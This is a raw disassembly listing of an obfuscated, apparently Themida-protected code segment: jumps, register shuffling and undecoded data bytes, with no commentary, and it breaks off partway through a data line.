--------------------------------------------------------------------------- loc_559C99: ; CODE XREF: Themida_:00559ECEj add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55C547 ; --------------------------------------------------------------------------- loc_559CAA: ; CODE XREF: Themida_:00561150j add edx, 76DEA058h mov esi, edx push dword ptr [esp] jmp loc_558FAB ; --------------------------------------------------------------------------- loc_559CBA: ; CODE XREF: Themida_:0056080Aj push cx push edx mov dl, 0C9h mov cl, 0D1h sub cl, dl mov edx, [esp] add esp, 4 sub bl, 98h sub bl, cl jmp loc_5584BC ; --------------------------------------------------------------------------- dw 8868h dd 0E900006Dh, 0FFFFD5A0h ; --------------------------------------------------------------------------- loc_559CE0: ; CODE XREF: Themida_:005605F2j mov edx, esi jmp loc_5529CA ; --------------------------------------------------------------------------- loc_559CE7: ; CODE XREF: Themida_:0055CB88j or edx, 5F0F337Eh jmp loc_561146 ; --------------------------------------------------------------------------- loc_559CF2: ; CODE XREF: Themida_:005512A0j pop ebp and ebp, 156E2073h not ebp shl ebp, 4 jmp loc_55FA4B ; --------------------------------------------------------------------------- loc_559D03: ; CODE XREF: Themida_:0055897Fj sub edx, ebp add edx, 21926DBDh pop ebp add ebx, edx jmp loc_553F30 ; --------------------------------------------------------------------------- loc_559D13: ; CODE XREF: Themida_:0055F018j pop eax push edx push 491Dh mov [esp], ebx push 24CD5946h jmp loc_557991 ; --------------------------------------------------------------------------- loc_559D27: ; CODE XREF: Themida_:0055AA67j sub edi, ecx pop ecx add edi, ebp push ebx mov ebx, 6E490D19h and ebx, 4AE05A7Bh and ebx, 1BA1149Ch jmp loc_562FC3 ; --------------------------------------------------------------------------- loc_559D43: ; CODE XREF: Themida_:0056513Bj pop esi add esi, 4 push ebp mov ebp, 33F845B2h jmp loc_55C8CF ; --------------------------------------------------------------------------- loc_559D55: ; CODE XREF: Themida_:0055D18Fj pop eax pop edx add edx, 4 push 163Dh mov [esp], eax mov eax, 4 add edx, eax pop eax jmp loc_5633BB ; --------------------------------------------------------------------------- dw 0BE56h dd 1, 348BF589h, 4C48324h, 34FFE921h, 242C8B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55AE56 ; --------------------------------------------------------------------------- dw 0EA01h dd 8BD0015Dh, 0C4812414h, 4, 4EC81h, 3C890000h, 0E6895624h dd 4BB53h, 0DE010000h, 4EE815Bh, 87000000h, 0E95C2434h dd 520Ah ; --------------------------------------------------------------------------- loc_559DD8: ; CODE XREF: Themida_:0055C8D8j sub ebp, 0ABF4BE43h add esi, ebp pop ebp jmp loc_558A19 ; --------------------------------------------------------------------------- loc_559DE6: ; CODE XREF: Themida_:00552A81j push ecx jmp loc_55FE85 ; --------------------------------------------------------------------------- loc_559DEC: ; CODE XREF: Themida_:0055555Cj sub esi, 94F0382h jmp loc_550E9B ; --------------------------------------------------------------------------- loc_559DF7: ; CODE XREF: Themida_:0056148Ej xor ebp, esi pop esi add edx, ebp pop ebp push ebx mov ebx, 0 add ebx, edx jmp loc_55D43B ; --------------------------------------------------------------------------- aXsP db 'XИ°╞',0 align 10h dd 8B241C87h, 14892424h, 0CF5E924h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] sub esp, 4 mov [esp], eax mov eax, 4 add dword ptr [esp+4], 5354559Dh add [esp+4], eax jmp loc_55402C ; --------------------------------------------------------------------------- db 80h, 0EBh, 7Fh dd 82B7E9h, 24740100h, 39FFE904h, 54520000h, 4C2815Ah dd 83000000h, 148704C2h, 0C6815C24h, 4, 0FF9ECAE9h db 0FFh ; --------------------------------------------------------------------------- loc_559E89: ; CODE XREF: Themida_:0056205Aj push dword ptr [ebx] pop ecx pop ebx jmp loc_550AF8 ; --------------------------------------------------------------------------- loc_559E92: ; CODE XREF: Themida_:0055573Aj xor ebx, 9FC25A12h add eax, ebx jmp loc_55FF32 ; --------------------------------------------------------------------------- byte_559E9F db 0FFh ; DATA XREF: Themida_:0055095Co dd 669D1C77h, 241CD359h, 6B01E99Ch, 0C781FFFFh, 4, 8B243C87h dd 0E8682424h, 0E9000041h, 0FFFFE5CBh, 21F5E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559ECA: ; CODE XREF: Themida_:00551F1Dj pop edx push ebp mov ebp, esp jmp loc_559C99 ; --------------------------------------------------------------------------- loc_559ED3: ; CODE XREF: Themida_:00556997j push edx mov edx, esp jmp loc_552D30 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55C612 ; --------------------------------------------------------------------------- dd 80D3B151h, 8852DDE9h, 5AD088CAh, 81240C8Bh, 4C4h, 245D3400h dd 34F2245Eh, 58C52030h, 72846866h, 240C8966h, 1245486h dd 0FFC9ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_559F1D: ; CODE XREF: Themida_:005583EDj xor eax, esi xor esi, eax jmp loc_565BF1 ; --------------------------------------------------------------------------- dw 815Ah dd 0AF5B67C9h, 81D1F73Ch, 1E9h, 0E9D98700h, 4A44h, 5E241CF7h dd 60BCE81h, 0D6F76CEAh, 0E905E6C1h, 0FFFFDA05h, 0E414E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F56: ; CODE XREF: Themida_:0055FDE7j mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax push edx jmp loc_55444B ; --------------------------------------------------------------------------- loc_559F77: ; CODE XREF: Themida_:00551AB0j push 39F9h mov [esp], ecx jmp loc_5594C4 ; --------------------------------------------------------------------------- dd 1C3B68h, 24148900h, 42474FFh, 6824148Bh, 6B5Ah, 0FF8CE3E9h db 0FFh ; --------------------------------------------------------------------------- loc_559F9D: ; CODE XREF: Themida_:00556594j mov ecx, 4 add edx, 4EF3201Dh sub edx, 2F2E48E4h sub edx, ecx add edx, 2F2E48E4h jmp loc_5559B0 ; --------------------------------------------------------------------------- loc_559FBB: ; CODE XREF: Themida_:0055E8CCj add al, bl jmp loc_5551FB ; --------------------------------------------------------------------------- loc_559FC2: ; CODE XREF: Themida_:00554810j xor esi, [esp] pop esp mov [esp], ebx push esp pop ebx push ecx mov ecx, 4 add ebx, ecx pop ecx push edx push 3D016DD4h pop edx or edx, 67F07BD1h shr edx, 1 xor edx, 3FF8BFEEh sub ebx, edx jmp loc_560E8D ; --------------------------------------------------------------------------- loc_559FF0: ; CODE XREF: Themida_:00560EA4j add esp, 4 jmp loc_561BC6 ; --------------------------------------------------------------------------- db 0BEh align 10h dd 0F287D629h, 0F281425Eh, 0D6D3F891h, 815AD529h, 0E56D47EDh dd 0E9E8296Ch, 828Fh dword_55A01C dd 0FF2434FFh, 81582434h, 4ECh, 240C8900h, 2087E9h ; DATA XREF: Themida_:005507C8o db 0 ; --------------------------------------------------------------------------- loc_55A031: ; CODE XREF: Themida_:0055C258j shr ebx, 3 shl ebx, 6 dec ebx push ebp mov ebp, 76CCF734h xor ebx, ebp push dword ptr [esp] pop ebp add esp, 4 mov ecx, ebx mov ebx, [esp] add esp, 4 mov esi, ecx mov ecx, [esp] jmp loc_55C05B ; --------------------------------------------------------------------------- aIHL db '┴$$h*L',0 align 4 dd 452E9h db 0 ; --------------------------------------------------------------------------- loc_55A069: ; CODE XREF: Themida_:0055F530j pop esp jmp loc_5567C0 ; --------------------------------------------------------------------------- db 28h dd 0DEB551C3h, 0FFC503E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A079: ; CODE XREF: Themida_:00564909j mov eax, 3FD075DBh jmp loc_55DAE0 ; --------------------------------------------------------------------------- loc_55A083: ; CODE XREF: Themida_:00552ADEj sub esi, 267140ACh sub esi, 354E68DBh push eax jmp loc_55F6CC ; --------------------------------------------------------------------------- loc_55A095: ; CODE XREF: Themida_:005519C0j mov ebx, 4 add eax, ebx pop ebx sub eax, 4 xchg eax, [esp] jmp loc_55582E ; --------------------------------------------------------------------------- loc_55A0AA: ; CODE XREF: Themida_:00551E96j neg edx xor edx, 0EC73B0B5h jmp loc_553821 ; --------------------------------------------------------------------------- loc_55A0B7: ; CODE XREF: Themida_:0055DC4Bj add esp, 4 push edi mov edi, 4 add ecx, edi pop edi push ecx jmp loc_554472 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHv db '$h┌[',0 align 2 dw 8AE9h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A0D7: ; CODE XREF: Themida_:00557DC6j xchg edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_5509AF ; --------------------------------------------------------------------------- loc_55A0E5: ; CODE XREF: Themida_:005598EEj sub al, 0D8h add al, 48h neg al add al, 61h jmp loc_56234B ; --------------------------------------------------------------------------- loc_55A0F2: ; CODE XREF: Themida_:00551373j push edx push 1807D1Dh jmp loc_5612DF ; --------------------------------------------------------------------------- loc_55A0FD: ; CODE XREF: Themida_:005587E0j add ebp, 4 jmp loc_55C207 ; --------------------------------------------------------------------------- dd 81DBF759h, 670413C3h, 87FB8713h, 0F7D987CFh, 87D987D3h dd 81FB87CFh, 4BE520EBh, 8BD989F6h, 0C483241Ch, 5EF18104h dd 0C13ACF52h, 0E9C106E1h, 4EC8103h, 89000000h, 3EB82404h dd 0E90DDC18h, 0FFFFC9D9h, 4BB5358h, 1000000h, 0C0835BD8h dd 24048704h, 0FF793CE9h, 4C481FFh, 0E9000000h, 4E8Bh ; --------------------------------------------------------------------------- loc_55A16C: ; CODE XREF: Themida_:00565021j add esp, 4 jmp loc_557122 ; --------------------------------------------------------------------------- dd 5020C5BDh, 1CF58132h, 0E97B5F64h, 0FFFF7FA1h ; --------------------------------------------------------------------------- loc_55A184: ; CODE XREF: Themida_:0055566Dj shr esi, 8 neg esi push ebp mov ebp, 1 add esi, ebp pop ebp xor esi, 64C06C5Bh neg esi add esi, 0DF9744AEh sub ebx, esi mov esi, [esp] add esp, 4 and edx, ebx jmp loc_565D17 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0B07E9435h, 8BC289EDh, 0E9562404h, 96B9h ; --------------------------------------------------------------------------- loc_55A1C8: ; CODE XREF: Themida_:00555145j push ecx mov ecx, 41C41B4Fh mov ebx, ecx jmp loc_558018 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 68000000h, 5D40h, 8B240489h, 0C481241Ch, 4, 74F86858h dd 14890000h, 94B85024h, 0C11F9B0Ch, 1BE908E0h db 14h, 2 dup(0) byte_55A203 db 0ACh ; DATA XREF: Themida_:00550774o dd 0EC83D830h, 241C8904h, 0FFEF79E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A211: ; CODE XREF: Themida_:0055433Dj mov [edx+38h], ebp push dword ptr [esp] push dword ptr [esp] jmp loc_55D13D ; --------------------------------------------------------------------------- db 51h dd 0CB88D188h, 5CE95A59h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A22B: ; CODE XREF: Themida_:005551F6j xor esi, ebx xor ebx, esi xor esi, ebx dec ebx xchg ebx, esi xor esi, 4AFF1360h neg esi and esi, 3BB15385h jmp loc_562E63 ; --------------------------------------------------------------------------- loc_55A247: ; CODE XREF: Themida_:0055C93Ej xchg ebp, [esp] mov esp, [esp] mov [esp], edx push 8000h jmp loc_562D7A ; --------------------------------------------------------------------------- loc_55A25A: ; CODE XREF: Themida_:0055E5A8j not edx add edx, 670BAED5h add ebp, edx mov edx, [esp] add esp, 4 push edx jmp loc_563260 ; --------------------------------------------------------------------------- loc_55A270: ; CODE XREF: Themida_:0055FA46j pop edi push ecx mov ecx, 4FC1167Ah sub ecx, 4FC11676h add edi, ecx pop ecx push 52B0h mov [esp], esi push 4 pop esi push ebx mov ebx, 57939F5h sub edi, ebx mov ebx, [esp] add esp, 4 add edi, 28F626A4h jmp loc_55CD00 ; --------------------------------------------------------------------------- byte_55A2A7 db 8Fh ; DATA XREF: Themida_:00550758o dd 6701E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2AE: ; CODE XREF: Themida_:00557798j add esp, 4 push ebx jmp loc_563983 ; --------------------------------------------------------------------------- dw 0FE00h dd 0FFADEE80h, 835B2434h, 0F00004C4h, 8324148Bh, 0E6E904C4h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A2D3: ; CODE XREF: Themida_:0055E137j mov esi, [esp] add esp, 4 jmp loc_561CDA ; --------------------------------------------------------------------------- aMsw_ db '╛Иw.',0 ; DATA XREF: Themida_:00550958o db 0 ; --------------------------------------------------------------------------- loc_55A2E7: ; CODE XREF: Themida_:00556E2Ej inc ebp inc ebp jmp loc_558785 ; --------------------------------------------------------------------------- dw 74FFh dd 39E90424h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2F7: ; CODE XREF: Themida_:0056214Ej add ebp, 65244978h jmp loc_5519F3 ; --------------------------------------------------------------------------- dw 34FFh dd 241C8B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 7F344D75h sub edx, 7B0E2724h push eax mov eax, 1 add edx, eax pop eax inc edx xor edx, 4262657h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 add ebx, 4 push esi jmp loc_554F7E ; --------------------------------------------------------------------------- db 68h dd 33635918h, 83240C8Bh, 814904C4h, 0BA5FBBE1h, 4EC8340h dd 0E9242C89h, 543Ch, 3F93C581h, 0E929B606h, 0C89E9h db 0 ; --------------------------------------------------------------------------- loc_55A36D: ; CODE XREF: Themida_:00553B23j push ecx mov ecx, esp jmp loc_555848 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF87E5E9h, 4EC83FFh, 54242C89h, 0FFB0F9E9h, 0BF575BFFh dd 31546895h, 67C3C781h, 0F78133BFh, 6513D05Ch, 685FFB01h dd 2BD0h, 0BA241489h, 4, 0FFD0D7E9h, 243C89FFh, 0AF0A7EBFh dd 8BFB3128h, 0C483243Ch, 5BDF0104h, 8904EC83h, 2BA2414h dd 50000000h, 0D60356B8h, 69D9E963h, 2C680000h, 89000049h dd 0FE68241Ch, 0E900001Ch, 0FFFF667Ah, 8BDD8966h, 0C483241Ch dd 68056604h, 0E829665Fh, 5F682D66h, 242C8B66h, 4EC8350h dd 81242489h, 42404h, 61E90000h, 5D00001Dh, 0C77EE95Eh dd 0CE01FFFFh, 8BF28959h, 0C4832434h, 7EAC104h, 0A1BF574Ah dd 21486909h, 0C2815FFAh, 0FF97F784h, 148BD501h, 595EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A446: ; CODE XREF: Themida_:005530DFj add ecx, 293F3CA1h push ebp mov ebp, 0D4B04CEh xor ebp, 52C83AB0h add ebp, 0F962856h and ebp, 0B85FB4h xor ebp, 31A724DFh sub ecx, 41B56973h jmp loc_55EDD3 ; --------------------------------------------------------------------------- byte_55A475 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005507F4o dd 0E116E924h, 0C481FFFFh, 4, 0FF7A99E9h, 240431FFh, 8B240433h dd 0F662424h, 9C2404B3h, 0FF6512E9h, 585450FFh, 405h, 4BB5300h dd 0E9000000h, 228Dh ; --------------------------------------------------------------------------- loc_55A4B0: ; CODE XREF: Themida_:0055988Aj and ebx, 576150EBh jmp loc_553E4A ; --------------------------------------------------------------------------- db 89h dd 4BF243Ch, 0E9000000h, 0FFFF733Bh, 0F72820B6h, 49EEE9h db 0 ; --------------------------------------------------------------------------- loc_55A4D1: ; CODE XREF: Themida_:005594C9j pop ecx jmp loc_562070 ; --------------------------------------------------------------------------- loc_55A4D7: ; CODE XREF: Themida_:00558A85j mov [esp], ebp push esp pop ebp jmp loc_5516C2 ; --------------------------------------------------------------------------- db 58h, 68h, 0FCh dd 89000047h, 4BE2434h, 81000000h, 6D2F91EFh, 81F7014Ah dd 6D2F91C7h, 3C875E4Ah, 34FF5C24h, 3B3FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A50A: ; CODE XREF: Themida_:0055401Cj shr ecx, 0Ah jmp loc_55E393 ; --------------------------------------------------------------------------- word_55A512 dw 34FFh ; DATA XREF: Themida_:005507C0o dd 13E95924h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A51B: ; CODE XREF: Themida_:00560464j push ebx mov ebx, 5E0311B4h sub ebx, 73443AC8h add ebx, 94AA2C2Bh add esi, ebx pop ebx xor esi, 92E97267h mov edx, esi mov esi, [esp] jmp loc_564B6D ; --------------------------------------------------------------------------- dd 193605B9h, 734B6851h, 34890000h, 3601BE24h, 0F1295119h dd 0E92434FFh, 1322h, 0E908E5C1h, 0FFFF7D7Dh ; --------------------------------------------------------------------------- loc_55A564: ; CODE XREF: Themida_:00553896j mov eax, 3B23515Dh add dword ptr [esp+4], 6DBA2B26h sub [esp+4], eax jmp loc_550ECE ; --------------------------------------------------------------------------- dw 0C483h dd 8F58E904h, 8957FFFFh, 4BB53E7h, 1000000h, 3300E9DFh dd 8ABA0000h, 0E9401A40h, 0FFFFD821h ; --------------------------------------------------------------------------- loc_55A59C: ; CODE XREF: Themida_:0056374Aj sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], esi jmp loc_55D614 ; --------------------------------------------------------------------------- dd 20C38143h, 0E92A8705h, 5026h ; --------------------------------------------------------------------------- loc_55A5C0: ; CODE XREF: Themida_:005612E0j shr edx, 4 sub edx, 28C90718h add edx, 36BC4D49h push edx pop ebp pop edx sub [esp+8], ebp mov ebp, [esp] add esp, 4 jmp loc_55B426 ; --------------------------------------------------------------------------- dd 8CBCEA81h, 0D0896BA4h, 0D98E055Ah, 0C7012D72h, 59E94F58h dd 8B00004Dh, 0C483241Ch, 8BC28804h, 0C4812404h, 4, 5AD000h dd 0A86866D8h, 9881E901h, 1C870000h, 29B1E924h, 814D0000h dd 7540FEC5h, 0CCA3E9EDh, 0C8BFFFFh, 0CA13E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A636: ; CODE XREF: Themida_:005638D6j sub esp, 4 mov [esp], ecx push 72320774h jmp loc_55BCD1 ; --------------------------------------------------------------------------- loc_55A649: ; CODE XREF: Themida_:005575FEj xchg edx, [esp] pop esp loc_55A64D: ; CODE XREF: Themida_:0055997Dj push 3E82h mov [esp], ebx push ecx push 29FFh mov [esp], ebp mov ebp, 667D04F5h shl ebp, 4 jmp loc_55A79B ; --------------------------------------------------------------------------- db 81h dd 4C7h, 8528E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A676: ; CODE XREF: Themida_:005575B2j mov ebp, eax jmp loc_556E76 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Fh, 68000000h, 695h, 83243C89h, 0C8904ECh, 26586824h dd 1C890000h, 3B3FBB24h, 0C38144B4h, 54CD32DAh, 5ADA68h dd 242C8900h, 4A77F7BDh, 90C58127h, 1739A35h, 69B5E9EBh db 2 dup(0) word_55A6C2 dw 5650h ; DATA XREF: Themida_:005508ECo dd 0C681E689h, 4, 4EE81h, 34870000h, 81FDE924h, 0EB890000h dd 0D3015A5Dh, 0F24E9h, 0EC815B00h, 2, 0FF810EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A6F1: ; CODE XREF: Themida_:0055B18Fj pop ebx push edx jmp loc_562668 ; --------------------------------------------------------------------------- dd 8324148Bh, 35E904C4h, 89FFFF9Bh, 5CE95EF5h, 55000001h dd 342D49BDh, 5DEB0156h, 0EB81CB29h, 56342D49h, 664FE9h dd 40500h, 4330000h, 24043124h, 5C240433h, 0E904C483h dd 91EEh, 8BC2015Bh, 54552404h, 0FFD893E9h, 4875BFFh, 24248B24h dd 0E92434FFh, 0FFFFA07Bh ; --------------------------------------------------------------------------- loc_55A754: ; CODE XREF: Themida_:005559B9j add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], ebp mov ebp, 7FD6009Ch sub ebp, 7FD6009Ah jmp loc_558572 ; --------------------------------------------------------------------------- db 0BAh, 1Fh, 3Eh dd 0D2F7565Ch, 3EAC142h, 0F281DAF7h, 604D6F65h, 0CCA4F281h dd 0D029B25Bh, 0DCE9525Ah db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A79B: ; CODE XREF: Themida_:0055A666j xchg ebx, ebp push 0 sub dword ptr [esp], 51F62C72h sub [esp], ebx jmp loc_556367 ; --------------------------------------------------------------------------- db 0B2h, 32h, 30h dd 2434FFFAh, 81241C8Bh, 4C4h, 0E2895200h, 37F468h, 241C8900h dd 1C1443BBh, 0D1CBE96Dh, 5552FFFFh, 3C00AFBDh, 2D4FBA45h dd 0EA81A51Dh, 3E4533C9h, 79A3EA81h, 0EA292B49h, 79A3C281h dd 0C2812B49h, 3E4533C9h, 0E9242C8Bh, 901Eh ; --------------------------------------------------------------------------- loc_55A804: ; CODE XREF: Themida_:00563DBFj add ebp, esi pop esi push 5115h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_55F41F ; --------------------------------------------------------------------------- dd 0FF6186E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A829: ; CODE XREF: Themida_:00558BF6j add ebp, edx add ebp, 133110F3h pop edx jmp loc_554905 ; --------------------------------------------------------------------------- db 0BFh dd 4, 875FFE01h, 575C2434h, 0E708A768h, 2434FF4Ch, 83243C8Bh dd 21E904C4h, 680000AFh, 29E2A7Ch, 5124148Bh, 9BE9E189h dd 1000038h, 242C8BEEh, 4C481h, 34330000h, 24343124h, 8B243433h dd 0F662424h, 9C2404A3h, 0FF6126E9h, 241489FFh, 853418BAh dd 0BB98E942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A896: ; CODE XREF: Themida_:00564D67j pop ebx push edx push eax jmp loc_56149B ; --------------------------------------------------------------------------- aWsqe db 'WИ÷E',0 align 4 dd 3C26A868h, 15E95D35h db 63h, 2 dup(0) byte_55A8AF db 66h ; DATA XREF: Themida_:00550848o dd 8124048Bh, 4ECh, 24148900h, 385868h, 9FE3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A8C6: ; CODE XREF: Themida_:0055B4B8j xor eax, esi pop esi add edx, eax pop eax add edx, 4 jmp loc_557FCD ; --------------------------------------------------------------------------- loc_55A8D4: ; CODE XREF: Themida_:0056248Cj sub ebx, 7C619523h xor ebp, ebx mov ebx, [esp] jmp loc_551CFE ; --------------------------------------------------------------------------- aUNMhk db 'U╫$N$Mh┼',8,0 dw 8900h dd 9BE92414h, 5EFFFFD6h, 0FF924DE9h db 0FFh byte_55A8FD db 0ADh, 83h, 0ECh ; DATA XREF: Themida_:00550724o dd 0B0D8E904h, 0C481FFFFh, 4, 811C77FFh, 5E142434h, 0C8B1424h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 630F68h dd 24348900h, 8E25DDBEh, 0E955521Eh, 0FFFF64F0h ; --------------------------------------------------------------------------- loc_55A940: ; CODE XREF: Themida_:0055FFE0j pop eax add eax, 4 push ecx jmp loc_5647C1 ; --------------------------------------------------------------------------- loc_55A94C: ; CODE XREF: Themida_:005649CBj mov edi, 46514F13h jmp loc_554CC2 ; --------------------------------------------------------------------------- dw 487h dd 24248B24h, 89241C89h, 18A868E3h, 4890000h, 4B824h, 0C3810000h dd 756414D8h, 9F7E9h db 0 ; --------------------------------------------------------------------------- loc_55A979: ; CODE XREF: Themida_:0055C4A3j add ecx, 2 xchg ecx, [esp] pop esp jmp loc_5635AE ; --------------------------------------------------------------------------- dd 4C781h, 0CCE90000h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A993: ; CODE XREF: Themida_:00550DBDj sub esp, 4 jmp loc_551484 ; --------------------------------------------------------------------------- loc_55A99E: ; CODE XREF: Themida_:0055DA6Ej add esp, 4 and eax, ecx push dword ptr [esp] pop ecx add esp, 4 shr eax, 0Ch xor eax, ecx jmp loc_559076 ; --------------------------------------------------------------------------- dd 4240483h, 0ACFDE9h, 464EBA00h, 0D0891577h, 8BC2015Ah dd 0C4832404h, 8B2FE904h, 48F0000h, 24D35C24h, 5FD1E924h db 2 dup(0FFh) word_55A9DE dw 6368h ; DATA XREF: Themida_:00550884o dd 81000014h, 4ECh, 33FD6800h, 24890000h, 44646824h, 4890000h dd 4B824h, 44810000h, 7E0F0424h, 440129F0h, 6C810424h dd 7E0F0424h, 48B29F0h, 0E1895124h, 4C181h, 4CE90000h db 41h, 2 dup(0) byte_55AA23 db 66h ; DATA XREF: Themida_:005507A4o dd 53240C8Bh, 0C381E389h, 4, 0AA0BE9h, 0E9596600h, 0FFFFDCBEh ; --------------------------------------------------------------------------- loc_55AA3C: ; CODE XREF: Themida_:00554BDAj add edi, 7E75708Eh jmp loc_554537 ; --------------------------------------------------------------------------- loc_55AA47: ; CODE XREF: Themida_:005582AEj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5591CC ; --------------------------------------------------------------------------- loc_55AA55: ; CODE XREF: Themida_:00555829j add ebp, 50974E5Eh sub edi, 3C8533BCh push ecx mov ecx, 2266D93h jmp loc_559D27 ; --------------------------------------------------------------------------- dd 14F4BA52h, 57E915AEh, 81FFFF97h, 4ECh, 24348900h, 49585BBEh dd 0B136E955h db 2 dup(0) word_55AA8A dw 8B66h ; DATA XREF: Themida_:00550700o dd 0F682404h, 0E900000Fh, 0D53h, 4105E9C1h, 0FFBD54E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AAA1: ; CODE XREF: Themida_:0055E6ECj mov [esp], ecx mov ecx, 14FDCE57h xor edi, ecx mov ecx, [esp] add esp, 4 sub esi, edi pop edi xor eax, esi mov esi, [esp] add esp, 4 or eax, eax jnz loc_5583F8 push ebx push 6B746796h mov ebx, [esp] jmp loc_552E08 ; --------------------------------------------------------------------------- loc_55AAD2: ; CODE XREF: Themida_:0055C33Cj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55868D ; --------------------------------------------------------------------------- dd 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 241C895Ch, 0FF675EE9h dd 81E589FFh, 4C5h, 4ED8100h, 87000000h, 895C242Ch, 77E92404h dd 68FFFFDEh, 38h, 0DDC2815Ah, 162FF13h, 0C5B850FAh, 57DD512h dd 0E52A0118h, 6C30E9h db 0 ; --------------------------------------------------------------------------- loc_55AB31: ; CODE XREF: Themida_:00564521j mov esp, [esp] jmp loc_565A6C ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 8 dd 8904EC83h, 0BF57240Ch, 2980126Eh, 215FF989h, 0EB8159CBh dd 29F87C84h, 7491EB81h, 0C3812C58h, 521BFDA3h, 0E906EBC1h dd 71E8h, 5C243C87h, 2474FF56h, 2434FF04h, 6418E95Eh, 0C4810000h dd 4, 2B951h, 0CA010000h, 24148759h, 0FFB0BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AB91: ; CODE XREF: Themida_:0055E4F9j xor edx, 54B77C45h or esi, edx pop edx xor esi, 1BFF7FE3h jmp loc_5520D5 ; --------------------------------------------------------------------------- loc_55ABA5: ; CODE XREF: Themida_:00558206j pop ebp xchg esi, [esp] mov esp, [esp] push ebp mov ebp, 469F6FF6h or ebp, 6CB15D51h add ebp, 583774F5h dec ebp not ebp jmp loc_55DA61 ; --------------------------------------------------------------------------- dw 0BD55h dd 4A7635EDh, 4DCBBD55h, 0EB29576Ch, 46FE9h, 8BFA8900h dd 0C481243Ch, 4, 3E3CBB53h, 0B0E916FEh, 5700003Ah, 4BFh dd 0CBC68100h, 12D352Fh, 0CBEE81FEh, 5F2D352Fh, 5C243487h dd 2BF57h, 4E2D0000h, 5351372h, 12B71BEBh, 0EB2DF829h dd 512B71Bh, 3513724Eh, 0AE80E9h, 4895C00h, 0BEDAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AC32: ; CODE XREF: Themida_:0056467Ej sub esi, 0A808D323h sub ebp, esi pop esi shr ebp, 4 sub ebp, 72D90320h add ecx, ebp mov ebp, [esp] add esp, 4 add edx, 7F7D7081h sub edx, 30235686h add edx, ecx add edx, 30235686h sub esp, 4 mov [esp], edi mov edi, 7F7D7081h sub edx, edi pop edi mov ecx, [esp] jmp loc_55FB3C ; --------------------------------------------------------------------------- loc_55AC79: ; CODE XREF: Themida_:00562425j and eax, edi pop edi or eax, eax jz loc_55DA77 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] jmp loc_559ABE ; --------------------------------------------------------------------------- dw 0E1C1h dd 8DF18105h, 8138A108h, 0A4CA09F1h, 0E9CA0101h, 0FFFF8F85h dd 78D86858h, 2C890000h, 81E58924h, 4C5h, 4C58300h, 0E9242C87h dd 39EAh, 0C381C301h, 574D4509h, 0FFEB7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55ACD1: ; CODE XREF: Themida_:0055D660j push ebx jmp loc_555400 ; --------------------------------------------------------------------------- db 81h dd 730B76E9h, 24348B27h, 4C481h, 0B8500000h, 4, 8758C101h dd 248B240Ch, 2434FF24h, 0FFB39BE9h, 7B9B68FFh, 0F1E90000h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD07: ; CODE XREF: Themida_:0055DE6Dj push eax push 77BC4026h jmp loc_554F99 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 242C8BEFh, 8304C483h, 3C8704C7h, 24248B24h dd 7559E950h, 0BB53FFFFh, 0 dd 3CE9D301h, 57FFFF67h, 2BFh, 5FF92900h, 8B240C87h, 89662424h dd 0C168240Ch, 89000077h, 1EE9241Ch db 